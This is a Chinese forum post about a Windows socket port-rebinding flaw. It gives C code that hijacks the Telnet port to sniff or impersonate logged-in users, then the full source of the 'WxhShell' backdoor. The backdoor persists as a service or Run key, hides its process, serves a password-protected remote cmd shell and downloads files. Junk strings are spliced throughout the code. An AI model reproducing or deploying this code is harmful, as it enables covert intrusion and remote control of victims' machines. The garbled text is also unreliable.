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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;_+uSalt s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]A+o>#n}x <02m%rhuW saddr.sin_family = AF_INET; qJv[MBjk3B ] d?x$> saddr.sin_addr.s_addr = htonl(INADDR_ANY); 55DE\<r #Dy?GB08 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X#p Wyo~ TqAPAHg 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 BmBz}:xMez
%X1x4t] 这意味着什么?意味着可以进行如下的攻击: z`3( ,V I4c!m_sr 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {D`T0qPT[ $l[Rh1z`;+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ftbpqp' 01@t~v3!Z 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 md Gwh7/3 zsQoU&D 5 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 -:Rp'SJ EL{vFP 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nt
:N!suP3 T)iW`vZg8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |U'I/A 1KE:[YQ1 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H)(jh Ey`h1Y #include IDFFc& #include pPro }@@ #include 5/0j}_pP #include 1DJekiWf DWORD WINAPI ClientThread(LPVOID lpParam); (p)!Mq
"^ int main() sM2MLh 'D { b/("Y.r= WORD wVersionRequested; 6W2hr2Zy9 DWORD ret; $'wq1u WSADATA wsaData;
%Y nmuZ BOOL val; dA~
3>f*b_ SOCKADDR_IN saddr; 5K%Wa]W SOCKADDR_IN scaddr; {MBTP;{*~ int err; }"s;\?a SOCKET s; MgMD\ SOCKET sc; lS5ny int caddsize; <i. apBH HANDLE mt; {S.>BXX DWORD tid; V"KS[>>f wVersionRequested = MAKEWORD( 2, 2 ); :#t*K6dz err = WSAStartup( wVersionRequested, &wsaData ); *%FA:Y if ( err != 0 ) { y/_XgPfWU printf("error!WSAStartup failed!\n"); j;~%lg=) return -1; A*yi"{FLi } ;{Ux_JEg saddr.sin_family = AF_INET; Kq6jw/T mI1H! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p*3; hGp6 Sv[ 5NZn0& saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &(pjqV saddr.sin_port = htons(23); Lxl_"kG if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I:j3sy { ~mz%E printf("error!socket failed!\n"); @mQ:7-,~ return -1; 9J-b6, } wIvo"|% val = TRUE; Vm1-C<V9 //SO_REUSEADDR选项就是可以实现端口重绑定的 qL
/7^)( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z? ]G3$i( { -0uV z) printf("error!setsockopt failed!\n"); 2@j";+ return -1; #s5N[uK^m } rRFAD{5) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; olux6RP[B //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }?8uH/+ZA //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Fj
p.T; :$3oFN*g if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WgQBGch,! { rSXzBi{ ret=GetLastError(); (8a#\Y[b printf("error!bind failed!\n"); pbXi9|bI return -1; 1 jb/o5n; } F\JUx L@8 listen(s,2); K95;rd while(1) %3Z/+uT@v] { kSncZ0K{ caddsize = sizeof(scaddr); j Ch=@<9 //接受连接请求 0ezYd S~o sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {Tp2H_EG if(sc!=INVALID_SOCKET) 6=GZLpv { YUWn;# mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E+95WF|4k" if(mt==NULL) cQNs L { ]2SI!Ai7 printf("Thread Creat Failed!\n"); /B3R1kNf| break; E>jh"|f:{ } a}yXC<}$ } g=@_Z" CloseHandle(mt); >pL2*O^{9 } q>!L6h5]t closesocket(s); Pt,ebL~ WSACleanup(); ~l[ra return 0; uq3{hB# } F"+o@9] DWORD WINAPI ClientThread(LPVOID lpParam) m` AK~O2 { /u<nLj 1 SOCKET ss = (SOCKET)lpParam;
: esg( SOCKET sc; YvL?j unsigned char buf[4096]; Y$>-%KcKeI SOCKADDR_IN saddr; bzpFbfb long num; m!n/U-^ DWORD val; W~n.Xeu{C DWORD ret; )$GIN/i //如果是隐藏端口应用的话,可以在此处加一些判断 5N$E()m$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 yBpk$ saddr.sin_family = AF_INET; eU+ {*YJg saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4vnUN saddr.sin_port = htons(23); f>j wN@( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +|cI:|H> { >TL^>D printf("error!socket failed!\n"); b&)5:&MI return -1; d50Vtm\ } XKOUQc4!R val = 100; `TqSQg_l if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qq& W3 { w0m^ &,;# ret = GetLastError(); @exey return -1; oih5B<&f# } dIweg=x if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pn.bVV: { TA18 gq ret = GetLastError(); LwqC~N return -1; -;(Q1)& } =HDI \LD< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !v|ISyK { IE~%=/| printf("error!socket connect failed!\n"); F t&+vS closesocket(sc); >c8GW
>\N closesocket(ss); |`k
.y]9 return -1; <E|s\u } <Q< AwP while(1) vYmSKS { -F/st //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0Wvq>R.(]7 //如果是嗅探内容的话,可以再此处进行内容分析和记录 B0}~G(t( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -XK0KYhgW num = recv(ss,buf,4096,0); F4#g?R::U if(num>0) YB))S!;Ok send(sc,buf,num,0); ^WYQ]@rh3 else if(num==0) QWnndI_4p break; fN%jJ-[d num = recv(sc,buf,4096,0); >u+q1j. if(num>0) ZM#=`k9 send(ss,buf,num,0); _mE^rT else if(num==0) P@}P k break; 0*%&> } Et2JxbD closesocket(ss); kT IYD o closesocket(sc); +%>:0mT return 0 ; n^(A=G } 9v)%dO. bKVj [r8D~ %y[1H5)3< ========================================================== A?!I/|E^; WKM)*@#, 下边附上一个代码,,WXhSHELL "@3@/I 8ovM\9qT ========================================================== XE3aXK'R .\3`2 #include "stdafx.h" 'm=*u
SJK 8OhDjWVJ #include <stdio.h> 7k%T<;V #include <string.h> 5ABhj* 7 #include <windows.h> fIC9WbiH- #include <winsock2.h> z2c5m #include <winsvc.h> M(q'%XL^ #include <urlmon.h> 4EP<tV DC+wD
Bp; #pragma comment (lib, "Ws2_32.lib") SS|z*h
Z #pragma comment (lib, "urlmon.lib") 8y'; \(; v`[Eb27W. #define MAX_USER 100 // 最大客户端连接数 N^0uit #define BUF_SOCK 200 // sock buffer i8X`HbmN #define KEY_BUFF 255 // 输入 buffer ;Q0bT`/X =1;= #define REBOOT 0 // 重启 9W`Frx'h1 #define SHUTDOWN 1 // 关机 NmIHYN3 B6P|Z%E;D6 #define DEF_PORT 5000 // 监听端口 ^nK7i[yF.k gYop--\14] #define REG_LEN 16 // 注册表键长度 ybdd;t}&1 #define SVC_LEN 80 // NT服务名长度 xG&SX#[2 O;Y:uHf // 从dll定义API t=euE{c typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Kr`]_m typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +V862R4,o typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D<{{ :7n typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @JkK99\(>9 &F$:Q:* * // wxhshell配置信息 d5I f"8`@ struct WSCFG { ]<uQ.~ int ws_port; // 监听端口 R5_i15< char ws_passstr[REG_LEN]; // 口令 8[%Ao/m int ws_autoins; // 安装标记, 1=yes 0=no qa >Ay|92e char ws_regname[REG_LEN]; // 注册表键名 [&S}dQ" char ws_svcname[REG_LEN]; // 服务名 Oeya%C5' char ws_svcdisp[SVC_LEN]; // 服务显示名 \a^,sV char ws_svcdesc[SVC_LEN]; // 服务描述信息 th5g\h%j* char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^}yg%+ int ws_downexe; // 下载执行标记, 1=yes 0=no g|<Sfp+;+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" o`,Qku k char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %i0?UpA 7B9 `<{!h }; ;(6g\'m Rs& @4_D // default Wxhshell configuration xgsjm)) struct WSCFG wscfg={DEF_PORT, ^D67y% "xuhuanlingzhe", BfTcI) 1, ?wpB` "Wxhshell", VxO%rq3 "Wxhshell", M.}7pJ7f "WxhShell Service", }1 vT) "Wrsky Windows CmdShell Service", _1Z=q.sC "Please Input Your Password: ", $WQq?1.9 1, TB6m0qX( " http://www.wrsky.com/wxhshell.exe", >"3>s% "Wxhshell.exe" O!1TthI }; <msxHw s$h]
G[x // 消息定义模块 PG5- ;i/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0pe3L char *msg_ws_prompt="\n\r? for help\n\r#>"; +0z 7KO%^^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; d?,M/$h char *msg_ws_ext="\n\rExit."; _+f+`]iM char *msg_ws_end="\n\rQuit."; D]! aT+ char *msg_ws_boot="\n\rReboot..."; 2h30\/xkU char *msg_ws_poff="\n\rShutdown..."; ^>4o$} char *msg_ws_down="\n\rSave to "; OvL\u{(<F %rKK[ char *msg_ws_err="\n\rErr!"; o@>? *= char *msg_ws_ok="\n\rOK!"; R614#yn-+ >"X\>M`" char ExeFile[MAX_PATH]; s'P( ,!f int nUser = 0; H/F+X?t$0 HANDLE handles[MAX_USER]; |tMn={ int OsIsNt; Fr?z" c2SC|s] SERVICE_STATUS serviceStatus; ^W83ByP SERVICE_STATUS_HANDLE hServiceStatusHandle; zRl~^~sY DLPUqKL] // 函数声明 (AY9oei> int Install(void); "L"150Ih int Uninstall(void); *mG`_9 int DownloadFile(char *sURL, SOCKET wsh); Z5G!ct:W int Boot(int flag); (3vHY`9 void HideProc(void); &7?R+ZGo int GetOsVer(void); (n(
fI f int Wxhshell(SOCKET wsl); z;u>
Yz+3 void TalkWithClient(void *cs); 0CvsvUN@ int CmdShell(SOCKET sock); t/i5,le int StartFromService(void); C2e.2)y int StartWxhshell(LPSTR lpCmdLine); %n0;[sD0A UnWW/]E VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a.F Al@Br VOID WINAPI NTServiceHandler( DWORD fdwControl ); W\*-xf|"d sE(HZR1 // 数据结构和表定义 1-SVCk
- SERVICE_TABLE_ENTRY DispatchTable[] = \~rlgxd { "+ "{+k5t {wscfg.ws_svcname, NTServiceMain}, 4NEq$t$Jn {NULL, NULL} zQy"m-Q }; 3ucP(Ex@tg CCijf]+ // 自我安装 JM$.O;y
- int Install(void) nHFrG
=o, { R_P}~l char svExeFile[MAX_PATH]; K5Wg"^AHY/ HKEY key; I lR\
# strcpy(svExeFile,ExeFile); u }hF8eD eZhPu'id\s // 如果是win9x系统,修改注册表设为自启动 H Yr}wG if(!OsIsNt) { oj.A,Fh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AtS;IRN@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e`tLR- & RegCloseKey(key); H2gj=krK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QA!_} N4n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s,VXc/ RegCloseKey(key); P'@<:S| return 0; 84zTCX } %bXx!x8( } OY-w?'p?W } 6+rlXmd else { ~0"p*?^ N8cAqr // 如果是NT以上系统,安装为系统服务 5}ie]/[| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c{ZY,C&< if (schSCManager!=0) !{,F~i9 { EC&@I+'8Q SC_HANDLE schService = CreateService PrQ?PvA<L ( vEM(bT=H schSCManager, S&nxok`e^ wscfg.ws_svcname, }]1BO wscfg.ws_svcdisp, dth&?/MERL SERVICE_ALL_ACCESS, 5@Bu99` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]36sZ
* SERVICE_AUTO_START, qr\!*\9 SERVICE_ERROR_NORMAL, I<b?vR 'F svExeFile, VvbFp NULL, =tTqN+4 NULL, 2],_^XBvB NULL, p4> $z& _ NULL, #h!*dj" NULL \/7i-B]G7 ); oz'\q0 if (schService!=0) !M<{E* { - "*r CloseServiceHandle(schService); BDY}*cX CloseServiceHandle(schSCManager); >Y 1{rSk strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iJFs0?* strcat(svExeFile,wscfg.ws_svcname); .ujT!{>v/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yj6@7@l>A RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rI$`9d RegCloseKey(key); `pZs T
^G[ return 0; $5`!Z%>/ } a\uie$"cr] } 3
vP(SIF CloseServiceHandle(schSCManager); 5M]z5}n/ } ek aFN\ } cR-~)UyrO nq}Q return 1; `7aDEzmJ } y]..=z_ql 38V3o`f // 自我卸载 7DW]JK l int Uninstall(void) lor8@Qz { 3LR p2(A HKEY key; ;Lw{XqT f"#m=_Xm if(!OsIsNt) { ? ]sM8Bd} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7fp(R&)1 RegDeleteValue(key,wscfg.ws_regname); ,[p
T4G RegCloseKey(key); bok.j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <BWkUZz\P| RegDeleteValue(key,wscfg.ws_regname); kpwt]]e* RegCloseKey(key); hli|B+:m" return 0; Oh.ZPG= } "o!{51!' } /il@`w;G } #yseiVm; else { (LvS
:?T} $ZPX]2D4B# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;wiao(t>4N if (schSCManager!=0) `?*%$>W#" { HWns.[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V=I"-k}RL if (schService!=0) &WXY 'A= { E9j+o y if(DeleteService(schService)!=0) { T&Xl'=/ CloseServiceHandle(schService); >>l`,+y CloseServiceHandle(schSCManager); qpoV]#iW return 0; %x;x_ } =M 6[URZ CloseServiceHandle(schService);
r#PMy$7L } _eSdnHWx CloseServiceHandle(schSCManager); 87!C@XlK_ } U8#xgz@ } 'PZ|:9FX! Z.L?1V8Q1 return 1; foF19_2 , } 4!62/df Gz
I~TWc+G // 从指定url下载文件 djQv[Vc{ int DownloadFile(char *sURL, SOCKET wsh) ]e:/" { ubMOD< HRESULT hr; %OR|^M char seps[]= "/"; $lIWd char *token; idc`p?XP char *file; B@Co'DV[/] char myURL[MAX_PATH]; \e=_
2^v!_ char myFILE[MAX_PATH]; pD"vRbYF f8 /'%$N strcpy(myURL,sURL); !9*c8bL D token=strtok(myURL,seps); Uk*IpP` while(token!=NULL) p Y)5bSA { M`,~ mU file=token; U=Y)V% token=strtok(NULL,seps); 1[F3 Z } HysS_/t~ Z#d&|5Xj GetCurrentDirectory(MAX_PATH,myFILE); ?rVy2! strcat(myFILE, "\\"); eO=s-]mk strcat(myFILE, file); h+.{2^x send(wsh,myFILE,strlen(myFILE),0); <^.=>Q0S\ send(wsh,"...",3,0); a/Q$cOs hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qL$a
c}` if(hr==S_OK) ?,P3)&3g return 0; <Tw>|cFT else })xp%<` return 1; p=GWq(S6 TQX)?^Ft }
B3m_D"? 5[l8y, // 系统电源模块 {U]H;~3 ? int Boot(int flag) 0l*]L`]L# { w1x"
c>1C HANDLE hToken; FLal}80.o: TOKEN_PRIVILEGES tkp; ~fl@ 2 _CBWb if(OsIsNt) { `=+^|Y} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !1T\cS#1% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MfO:m[s tkp.PrivilegeCount = 1; 7`vEe'qz tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O-]mebTvw AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qs\2Z@; if(flag==REBOOT) { 9Gy if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +:=(#Y return 0; (YBMsh } %V&n*3 else { T#%/s?_>. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Sgim3):Z return 0; C`=p+2I] }
`0H g y= } c$S{^IQ else { cEW0;\$ if(flag==REBOOT) { 2M<R(W!& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wS+V]`b return 0; <H3ezv1M } Wc3kO'J else { fy@avo9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Dih6mTP{ return 0; r?m+.fJB } ^L1L=c;, } D.D$#O_n.S WH ?}~u9 return 1; 'ckQg=zPR } ,y4I[[ ZN"j%E{d // win9x进程隐藏模块 LZPuDf~/ void HideProc(void) f-6vLX\Vu { waX>0e AL/?,%F HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CO-_ea U( if ( hKernel != NULL ) U~{du;\ { nKR{ug>I) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?oZR.D|SZ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qbrp P(. FreeLibrary(hKernel); WPZ?*Sx } (npj_s!.C) 5tJ,7Y' return; kP#e((f, } A,su;Qh i'd2[A.7I // 获取操作系统版本 KKA~#iCk int GetOsVer(void) |r
ue=QZ { qQ\Y/}F OSVERSIONINFO winfo; jR=s#Xz winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >56>*BHD GetVersionEx(&winfo); x@mL $ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f)]%.> return 1; 8eA+d5k\. else Vz14j_ return 0; %1pYEHn } "~UUx"Y -(#I3h;I // 客户端句柄模块 EM>}0V int Wxhshell(SOCKET wsl) %h1N3\y9i( { yx V:!gl SOCKET wsh;
IUR<.Y` struct sockaddr_in client; t+oJV+@ DWORD myID; &`b
"a! d0'JC* while(nUser<MAX_USER) "5cM54Z0 { k6`6Mjbc int nSize=sizeof(client); L
lqM c wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (F7(^.MG if(wsh==INVALID_SOCKET) return 1; Vcd.mE(t% $/Aj1j`"9+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L@=3dp!\Cu if(handles[nUser]==0) sNun+xsf^ closesocket(wsh); 'B+ ' (f else &d7Z6P'`G nUser++; A^Kbsc } +cb6??H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .q+0pj zByT$P- return 0; ceNix!P } B^).BQ a^ ,(v // 关闭 socket ,C3,TkA] void CloseIt(SOCKET wsh) $mF_,| { t6v/sZ{F closesocket(wsh); ]v+31vdf:O nUser--; <dyewy*.L ExitThread(0); vb9OonE2 } E2)h?cs x8GJY~:SW // 客户端请求句柄 -OSa>-bzNx void TalkWithClient(void *cs) 2Sm}On { ;#w3{
NB V I%
6.6D SOCKET wsh=(SOCKET)cs; U]a*uF~h char pwd[SVC_LEN]; ){jla,[ char cmd[KEY_BUFF]; 8Lw B
B char chr[1]; m N8pg4 int i,j; F R|&^j6 ~
T>U while (nUser < MAX_USER) { phO;c;y} Ty88}V if(wscfg.ws_passstr) { Z`YJBcXR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }i!J/tJ)b //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z|}G6]h //ZeroMemory(pwd,KEY_BUFF); UA|u U5Q i=0; 1}~(Yj@f% while(i<SVC_LEN) { 4Qn$9D+? 'vN G(h#%d // 设置超时 )8g(:`w fd_set FdRead; A$6$,h struct timeval TimeOut; \d::l{VB FD_ZERO(&FdRead); @JdZ5Q FD_SET(wsh,&FdRead); Haqm^Ky$ TimeOut.tv_sec=8; <FZ@Q[RP TimeOut.tv_usec=0; e}1uz3Rh int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^pHq66d%Z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); },|M9I0 n]he-NHP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #m={yck * pwd =chr[0]; T0]MuIJ). if(chr[0]==0xd || chr[0]==0xa) { _V`DWR
* pwd=0; JU&+c6> break; g}]t[}s1] } # W"=ry3{ i++; ?6'rBH/w } rj!0GI 1'?4m0W1 // 如果是非法用户,关闭 socket R:B^ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qe5feky } J=/5}u_gw (Cqn6dWK send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :%IoM E send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6-O_\Cq8 bJs9X/E while(1) { sJNFFOz W^"AU;^V56 ZeroMemory(cmd,KEY_BUFF); .`&F>o(A 5ZBKRu // 自动支持客户端 telnet标准 H/}]FmjN j=0; NVRLrJWpp while(j<KEY_BUFF) { u]OW8rc if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kZ"BBJ6w cmd[j]=chr[0]; R
LD`O9#j if(chr[0]==0xa || chr[0]==0xd) { }NB}"%2 cmd[j]=0; B$Kn1 k break; "yW:\ } 7%sdtunf` j++; JfPD}w } G}p\8Q}' 'F3)9&M // 下载文件 qgrg CJ if(strstr(cmd,"http://")) { $q 2D+_ send(wsh,msg_ws_down,strlen(msg_ws_down),0); q:g2Zc'Y~W if(DownloadFile(cmd,wsh)) f7}*X|_Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dl}$pN else O+ICol send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t%8d-+$ } c%qv9 else { C`q@X(_ ?Q&yEGm( switch(cmd[0]) { _Zr.ba A@Dw<.&_I // 帮助 sq'Pyz[[ case '?': { YID4w7| send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c_>f0i break; ?R$&Xe!5 } #^]n0! // 安装 mml
z&h case 'i': { x,'!eCKN if(Install()) z<5m
fAm send(wsh,msg_ws_err,strlen(msg_ws_err),0); AoyX\iqQ else *oybD=%4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qa.uMq break; &y#r;L<9 } VJS8)oI~ // 卸载 +$Rt+S BD case 'r': { )(@Hd if(Uninstall()) {`w;39$+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); t2"FXTAq else wiBVuj# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ot`VR&} break; 7sXxq4 } ,#8e_3Z$ // 显示 wxhshell 所在路径 n..g~$k case 'p': { e$pMsw'MJ char svExeFile[MAX_PATH]; BX yo strcpy(svExeFile,"\n\r"); y.q(vzg\_ strcat(svExeFile,ExeFile); %!1Q P[}K send(wsh,svExeFile,strlen(svExeFile),0); QeK*j/ break; @62Mk},9 c } l(Q?rwI8Y // 重启 !3ctB3eJ case 'b': { Exk\8,EGqS send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $r3i2N-I if(Boot(REBOOT)) \!ej<T+JR> send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^53r/V }% else { nak Yn closesocket(wsh); YtWJXkB ExitThread(0); ~#/hzS } LWt&3
break; /Js7`r=Rx } CH<E,Z
C1T // 关机 b?'yAXk case 'd': { +j4"!:N}B send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4f;HQ-Iv if(Boot(SHUTDOWN)) RZCq {|L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SZXY/~=h else { \oZ5JoO closesocket(wsh); rX1QMR7? ExitThread(0); nt@aYXK4| } T|TO }_x break; +="e]Yh; } to$h2#i_ // 获取shell a.zpp'cEb case 's': { \~_9G{2? CmdShell(wsh); f@c`8L@g closesocket(wsh); pt}X>ph{ ExitThread(0); wLH] <k break; nxl[d\ap+n } VZl6t;cn // 退出 YGsWu7dG case 'x': { eET}r24 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "%x<ttLl CloseIt(wsh); @#-q^}3 break; <(-hx+^ } /n8B,-Z5s5 // 离开 '3 ^+{=q case 'q': { RnDt)3 send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5O6hxcMjT closesocket(wsh); Dv/WE>?Aw WSACleanup(); 9\DQ>V TQ exit(1); `9b7>Nn< break; fP `b>]N_ } 1N>|yQz } aUtnR<6 } uF3qD|I\ t0T"@t#c // 提示信息 m
RO~aD!N if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c?,i3s+2Y } e[#j.|m } v7`HQvQEz= d8x \ return;
]]wA[c~G } }B.H|*uO |a!fhl+ // shell模块句柄 BV[ 5} int CmdShell(SOCKET sock) M )2`+/4 { x HhN STARTUPINFO si; ;{%\9nS ZeroMemory(&si,sizeof(si)); {b
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _\GC( si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =Fr(9( PROCESS_INFORMATION ProcessInfo; )6J9J+%bi char cmdline[]="cmd"; 6ZQwBS0Y CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q(oN/y3, return 0; ;{"+g)u } 81i655!Z L#
2+z@g // 自身启动模式 7fba-7-P int StartFromService(void) ;hjwD { CtS l typedef struct hBX!iukT|{ { LmnymcH DWORD ExitStatus; @ >U-t{W DWORD PebBaseAddress; KSNPkd6 DWORD AffinityMask; N
D2L_!g:( DWORD BasePriority; H?X|(r|+ ULONG UniqueProcessId; Oal3rb ULONG InheritedFromUniqueProcessId; z21|Dhiw& } PROCESS_BASIC_INFORMATION;
